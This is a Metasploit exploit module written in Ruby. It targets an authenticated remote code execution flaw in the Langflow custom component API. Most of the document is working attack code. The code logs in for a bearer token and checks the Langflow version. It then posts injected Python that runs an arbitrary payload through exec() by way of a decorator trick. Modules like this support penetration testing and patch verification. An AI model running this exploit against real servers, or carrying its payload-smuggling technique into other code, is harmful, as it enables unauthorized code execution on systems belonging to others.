Langflow AI Custom Component Authenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI Custom Component Authenticated RCE',
        'Description' => %q{
          Langflow versions 1.0.0 through 1.11.1 are susceptible to authenticated
          remote code execution due to improper enforcement of security restrictions
          of code generation on the `/api/v1/custom_component` endpoint.

          The endpoint accepts attacker controlled code that is then passed to Python's
          `exec()` function that bypasses security checks enforced by other code paths.
        },
        'Author' => [
          'Richard Howe <rhowe425>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-18729'],
          ['URL', 'https://www.ibm.com/support/pages/node/7284733']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 7860 },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-08-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [true, 'Base path of the Langflow application', '/']
        ),
        OptString.new(
          'USERNAME',
          [true, 'Langflow login username', '']
        ),
        OptString.new(
          'PASSWORD',
          [true, 'Langflow login password', '']
        )
      ]
    )
  end

  def get_token(username, password)
    data = {
      'username' => username,
      'password' => password
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
      'vars_post' => data
    )

    return unless res&.code&.between?(200, 299)

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['access_token']
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/version')
    )

    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document

    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

    package = doc.is_a?(Hash) ? doc['package'] : nil
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package

    unless package.to_s.downcase == 'langflow'
      return Exploit::CheckCode::Safe('Application is not Langflow.')
    end

    begin
      version = Rex::Version.new(version_str.to_s)
    rescue ArgumentError
      return Exploit::CheckCode::Unknown('Failed to parse version.')
    end

    if version < Rex::Version.new('1.11.2')
      return Exploit::CheckCode::Appears(
        "Version #{version} detected, which appears vulnerable."
      )
    end

    Exploit::CheckCode::Safe(
      "Version #{version} detected, which is not vulnerable."
    )
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    vars = Rex::RandomIdentifier::Generator.new(language: :python)

    token = get_token(username, password)

    if token.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
    end

    class_name = vars[:class_name]
    payload_method = vars[:payload_method]
    input_display_name = vars[:input_display_name]
    output_display_name = vars[:output_display_name]
    class_display_name = vars[:class_display_name]

    injected_code = [
      'from langflow.custom import Component',
      'from langflow.io import Output, MessageTextInput',
      'from langflow.schema import Data',
      '_fired = [False]',
      "class #{class_name}(Component):",
      "    display_name = '#{class_display_name}'",
      "    name = '#{class_name}'",
      '    inputs = [',
      '        MessageTextInput(',
      "            display_name='#{input_display_name}',",
      '            name="input_value",',
      '        )',
      '    ]',
      '    outputs = [',
      '        Output(',
      "            display_name='#{output_display_name}',",
      '            name="out",',
      "            method='#{payload_method}',",
      '        )',
      '    ]',
      "    @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
      "    def #{payload_method}(self) -> Data:",
      '        return Data(data={"output": _out})'
    ].join("\n")

    json_body = {
      'code' => injected_code,
      'frontend_node' => {}
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(
        target_uri.path,
        'api/v1/custom_component'
      ),
      'headers' => {
        'Content-Type' => 'application/json',
        'Authorization' => "Bearer #{token}"
      },
      'data' => json_body.to_json
    )

    unless res&.code&.between?(200, 299)
      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')
    end
  end
end